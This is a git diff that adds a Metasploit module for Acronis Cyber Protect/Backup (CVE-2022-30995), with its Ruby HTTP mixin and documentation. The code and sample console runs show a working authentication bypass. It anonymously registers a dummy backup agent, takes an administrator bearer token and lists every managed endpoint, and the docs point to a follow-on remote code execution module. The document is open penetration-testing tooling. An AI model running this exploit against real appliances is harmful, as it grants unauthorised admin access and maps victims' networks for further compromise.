diff --git a/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md new file mode 100644 index 0000000000..47bc24b0e8 --- /dev/null +++ b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md @@ -0,0 +1,205 @@ +## Vulnerable Application +Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources. +Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment. + +This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect appliance which, +in its default configuration, allows the anonymous registration of new backup/protection agents on new endpoints. +This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. +As the management web console is running on the same port as the API for the agents, +this bearer token is also valid for any actions on the web console. +This allows an attacker with network access to the appliance to start the registration of a new agent, +retrieve a bearer token that provides admin access to the available functions in the web console. + +This module will gather all machine info (endpoints) configured and managed by the appliance. +This information can be used in a subsequent attack that exploits this vulnerability to execute arbitrary commands +on both the managed endpoint and the appliance itself. +This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`. + +Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and +Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + +The following releases were tested. + +**Acronis Cyber Protect 15 ISO appliances:** +* Acronis Cyber Protect 15 Build 28503 +* Acronis Cyber Protect 15 Build 27009 +* Acronis Cyber Protect 15 Build 26981 +* Acronis Cyber Protect 15 Build 26172 + +**Acronis Cyber Protect 12.5 ISO appliances:** +* Acronis Cyber Protect 12.5 Build 16428 +* Acronis Cyber Protect 12.5 Build 16386 +* Acronis Cyber Protect 12.5 Build 14330 +* Acronis Cyber Protect 12.5 Build 11010 + +## Installation steps to install the Acronis Cyber Protect/Backup appliance +* Install the virtualization engine VMware Fusion on your preferred platform. +* [Install VMware Fusion on MacOS](https://knowledge.broadcom.com/external/article/315638/download-and-install-vmware-fusion.html). +* [Download ISO Image](https://care.acronis.com/s/article/71847-Acronis-Cyber-Protect-Links-to-download-installation-files?language=en_US). +* Install the Acronis iso image in your virtualization engine by unzipping the appliance image and import the `ovf` image. +* During the boot, select `Install appliance` and configure the installation settings such as setting the root password and IP address +* using the option `change installation settings`. +* Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, `ssh` on port `22` +* via the `webui` via `http://your_ip:9877`. +* Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect. +* Login into the appliance via the `webui`. +* Follow the license instructions to apply your 30-day trial license. + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` +- [ ] `set rhosts ` +- [ ] `run` +- [ ] you should get a list of all endpoints that are registered at the appliance. + +## Options +### OUTPUT +You can use option `table` to print output of the gather info to the console (default). +Choosing option `json` will store all information at a file in `json` format at the loot directory. +You can use this file in combination with `jq` for offline queries and processing. + +## Scenarios +```msf +msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > info + + Name: Acronis Cyber Protect/Backup machine info disclosure + Module: auxiliary/gather/acronis_cyber_protect_machine_info_disclosure + License: Metasploit Framework License (BSD) + Rank: Excellent + +Provided by: + h00die-gr3y + Sandro Tolksdorf of usd AG. + +Module side effects: + artifacts-on-disk + ioc-in-logs + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + OUTPUT table yes Output format to use (Accepted: table, json) + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- + metasploit.html + RPORT 9877 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The URI of the vulnerable Acronis Cyber Protect/Backup instance + VHOST no HTTP server virtual host + +Description: + Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, + compute, storage and application resources. Businesses and Service Providers are using it + to protect and backup all IT assets in their IT environment. + This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect + appliance which, in its default configuration, allows the anonymous registration of new + backup/protection agents on new endpoints. This API endpoint also generates bearer tokens + which the agent then uses to authenticate to the appliance. + As the management web console is running on the same port as the API for the agents, this + bearer token is also valid for any actions on the web console. This allows an attacker + with network access to the appliance to start the registration of a new agent, retrieve + a bearer token that provides admin access to the available functions in the web console. + + This module will gather all machine info (endpoints) configured and managed by the appliance. + This information can be used in a subsequent attack that exploits this vulnerability to + execute arbitrary commands on both the managed endpoint and the appliance which is covered + in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`. + + Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and + Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2022-30995 + https://nvd.nist.gov/vuln/detail/CVE-2022-3405 + https://herolab.usd.de/security-advisories/usd-2022-0008/ + https://attackerkb.com/topics/27RudJXbN4/cve-2022-30995 + +View the full module info with the info -d command. +``` +### Acronis Cyber Backup 12.5 build 14330 VMware appliance +```msf +msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run + +[*] Running module against 192.168.201.6 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330 +[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance. +[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance. +[*] ---------------------------------------- +[+] hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC +[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks +[+] key: phm.0CA16CD4-1C6D-44D2-BEF1-B9F146005EE1@28BAFD9F-F9F1-481F-A970-1A6ED70736AC.disks +[*] type: machine +[*] hostname: WIN-BJDNH44EEDB +[*] IP: 192.168.201.5 +[*] OS: Microsoft Windows Server 2019 Standard +[*] ARCH: windows +[*] ONLINE: false +[*] ---------------------------------------- +[+] hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83 +[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks +[+] key: phm.F70D1B08-5097-4CE5-8E22-F9E0DB75401F@345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.disks +[*] type: machine +[*] hostname: AcronisAppliance-AC319 +[*] IP: 192.168.201.6 +[*] OS: GNU/Linux +[*] ARCH: linux +[*] ONLINE: true +[*] Auxiliary module execution completed +``` +### Acronis Cyber Backup 15 build 27009 VMware appliance +```msf +msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run +[*] Running module against 192.168.201.6 + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 15.0.27009 +[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance. +[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance. +[*] ---------------------------------------- +[+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D +[+] parentId: 00000000-0000-0000-0000-000000000000 +[+] key: phm.EA9A6E26-38B5-4727-9957-FD7CDD7BF2CC@D287E868-EDBB-4FE9-85A9-F928AA10EE5D.disks +[*] type: machine +[*] hostname: AcronisAppliance-FCD94 +[*] IP: 192.168.201.6 +[*] OS: Linux: CentOS Linux release 7.6.1810 (Core) +[*] ARCH: linux +[*] ONLINE: true +[*] ---------------------------------------- +[+] hostId: C0FBDC6F-A5FE-4710-ADE8-99B3F8A7CE1E +[+] parentId: 00000000-0000-0000-0000-000000000000 +[+] key: phm.1100195A-112E-4904-A933-264C2D12A4A5@C0FBDC6F-A5FE-4710-ADE8-99B3F8A7CE1E.disks +[*] type: machine +[*] hostname: victim.evil.corp +[*] IP: 192.168.201.2 +[*] OS: Microsoft Windows Server 2022 Standard +[*] ARCH: windows +[*] ONLINE: false +[*] Auxiliary module execution completed +``` + +## Limitations +No limitations. diff --git a/lib/msf/core/exploit/remote/http/acronis_cyber.rb b/lib/msf/core/exploit/remote/http/acronis_cyber.rb new file mode 100644 index 0000000000..56e7427dd2 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/acronis_cyber.rb @@ -0,0 +1,148 @@ +# -*- coding: binary -*- + +# This mixin module provides provides a way of interacting with Acronis Cyber 15 and Backup 12.5 installations + +module Msf::Exploit::Remote::HTTP::AcronisCyber + include Msf::Exploit::Remote::HttpClient + + # get the first access_token + # @return [access_token, nil] returns first access_token or nil if not successful + def get_access_token1 + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest' + }, + 'vars_post' => { + 'grant_type' => 'password', + 'username' => nil, + 'password' => nil + } + }) + return unless res&.code == 200 + return unless res.body.include?('access_token') + + # parse json response and return access_token + res_json = res.get_json_document + return if res_json.blank? + + res_json['access_token'] + end + + # register a dummy agent in Acronis Cyber Protect 12.5 and 15.0 + # @param [client_id] random generated uuid + # @param [access_token1] first access_token + # @return [client_secret, nil] returns client_secret or nil if not successful + def dummy_agent_registration(client_id, access_token1) + name = Rex::Text.rand_text_alphanumeric(5..8).downcase + post_data = { + client_id: client_id.to_s, + data: { agent_type: 'backupAgent', hostname: name.to_s, is_transient: true }, + tenant_id: nil, + token_endpoint_auth_method: 'client_secret_basic', + type: 'agent' + }.to_json + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'account_server', 'v2', 'clients'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token1}" + }, + 'data' => post_data.to_s + }) + return unless res&.code == 201 && res.body.include?('client_id') && res.body.include?('client_secret') + + # parse json response and return client_secret + res_json = res.get_json_document + return if res_json.blank? + + res_json['client_secret'] + end + + # get second access_token which is valid for 30 days + # @param [client_id] random generated uuid + # @param [client_secret] client_secret retrieved from a successful agent registration + # @return [access_token, nil] returns first access_token or nil if not successful + def get_access_token2(client_id, client_secret) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest' + }, + 'vars_post' => { + 'grant_type' => 'client_credentials', + 'client_id' => client_id.to_s, + 'client_secret' => client_secret.to_s + } + }) + return unless res&.code == 200 + return unless res.body.include?('access_token') + + # parse json response and return access_token + res_json = res.get_json_document + return if res_json.blank? + + res_json['access_token'] + end + + # returns version information + # @param [access_token2] second access_token + # @return [version, nil] returns version or nil if not successful + def get_version_info(access_token2) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'versions'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token2}" + } + }) + return unless res&.code == 200 + return unless res.body.include?('backendVersion') + + # parse json response and get the relevant machine info + res_json = res.get_json_document + return if res_json.blank? + + res_json['backendVersion'] + end + + # return all configured items in json format + # @param [access_token2] second access_token + # @return [res_json, nil] returns machine info in json format or nil if not successful + def get_machine_info(access_token2) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'resources'), + 'ctype' => 'application/json', + 'keep_cookies' => true, + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token2}" + }, + 'vars_get' => { + 'embed' => 'details' + } + }) + return unless res&.code == 200 + return unless res.body.include?('items') || res.body.include?('data') + + if datastore['OUTPUT'] == 'json' + loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration') + print_good("Configuration details are successfully saved in json format to #{loot_path}") + end + + # parse json response and get the relevant machine info + res_json = res.get_json_document + return if res_json.blank? + + res_json + end +end diff --git a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb new file mode 100644 index 0000000000..3d47e3a04a --- /dev/null +++ b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb @@ -0,0 +1,183 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::AcronisCyber + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Acronis Cyber Protect/Backup machine info disclosure', + 'Description' => %q{ + Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, + compute, storage and application resources. Businesses and Service Providers are using it + to protect and backup all IT assets in their IT environment. + This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect + appliance which, in its default configuration, allows the anonymous registration of new + backup/protection agents on new endpoints. This API endpoint also generates bearer tokens + which the agent then uses to authenticate to the appliance. + As the management web console is running on the same port as the API for the agents, this + bearer token is also valid for any actions on the web console. This allows an attacker + with network access to the appliance to start the registration of a new agent, retrieve + a bearer token that provides admin access to the available functions in the web console. + + This module will gather all machine info (endpoints) configured and managed by the appliance. + This information can be used in a subsequent attack that exploits this vulnerability to + execute arbitrary commands on both the managed endpoint and the appliance. + This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`. + + Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and + Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + }, + 'Author' => [ + 'h00die-gr3y ', # Metasploit module + 'Sandro Tolksdorf of usd AG.' # discovery + ], + 'References' => [ + ['CVE', '2022-30995'], + ['CVE', '2022-3405'], + ['URL', 'https://herolab.usd.de/security-advisories/usd-2022-0008/'], + ['URL', 'https://attackerkb.com/topics/27RudJXbN4/cve-2022-30995'] + ], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'DefaultOptions' => { + 'RPORT' => 9877, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Acronis Cyber Protect/Backup instance', '/']), + OptEnum.new('OUTPUT', [true, 'Output format to use', 'table', ['table', 'json']]) + ] + ) + end + + def check + # initial check on api access + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'meta'), + 'ctype' => 'application/json' + }) + return Exploit::CheckCode::Unknown('No Acronis API access found!') unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') + + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("Extracted first access token: #{@access_token1}") + return Exploit::CheckCode::Unknown('Retrieval of the first access token failed.') if @access_token1.nil? + + # register a dummy agent + client_id = SecureRandom.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id, @access_token1) + return Exploit::CheckCode::Unknown('Registering a dummy agent failed.') if client_secret.nil? + + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("Extracted second access token: #{@access_token2}") + return Exploit::CheckCode::Unknown('Retrieval of the second access token failed.') if @access_token2.nil? + + # get version info + version = get_version_info(@access_token2) + return Exploit::CheckCode::Unknown('Can not find any version information.') if version.nil? + + release = version.match(/(.+)\.(\d+)/) + case release[1] + when '15.0' + if Rex::Version.new(version) < Rex::Version.new('15.0.29486') + return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") + else + return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + when '12.5' + if Rex::Version.new(version) < Rex::Version.new('12.5.16545') + return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") + else + return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + else + Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + end + + def run + # check if @access_token2 is already set as part of autocheck option + if @access_token2.nil? + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("Extracted first access token: #{@access_token1}") + fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil? + + # register a dummy agent + client_id = SecureRandom.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id, @access_token1) + fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil? + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("Extracted second access token: #{@access_token2}") + fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil? + end + + # report vulnerable instance + report_web_vuln( + web_site: normalize_uri(target_uri.path, 'api', 'ams', 'versions'), + host: datastore['RHOSTS'], + port: datastore['RPORT'], + ssl: datastore['SSL'], + method: 'POST', + proof: "Authorization: Bearer #{@access_token2}", + risk: 0, + confidence: 100, + category: 'admin token', + description: 'Administrator token providing full web application accesss.', + name: 'Acronis Cyber Protect/Backup administrator token' + ) + # get all the managed endpoint configuration info + print_status('Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.') + res_json = get_machine_info(@access_token2) + fail_with(Failure::NotFound, 'Can not find any configuration information.') if res_json.nil? + + # print all the managed endpoint information to the console + if datastore['OUTPUT'] == 'table' + print_status('List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance.') + res_json['data'].each do |item| + next unless item['type'] == 'machine' + + print_status('----------------------------------------') + print_good("hostId: #{item['hostId']}") unless item['hostId'].nil? + print_good("parentId: #{item['parentId']}") unless item['parentId'].nil? + print_good("key: #{item['id']}") unless item['id'].nil? + print_status("type: #{item['type']}") unless item['type'].nil? + print_status("hostname: #{item['title']}") unless item['title'].nil? + print_status("IP: #{item.dig('ip', 0)}") unless item.dig('ip', 0).nil? + print_status("OS: #{item['os']}") unless item['os'].nil? + print_status("ARCH: #{item['osType']}") unless item['osType'].nil? + print_status("ONLINE: #{item['online']}") unless item['online'].nil? + end + end + end +end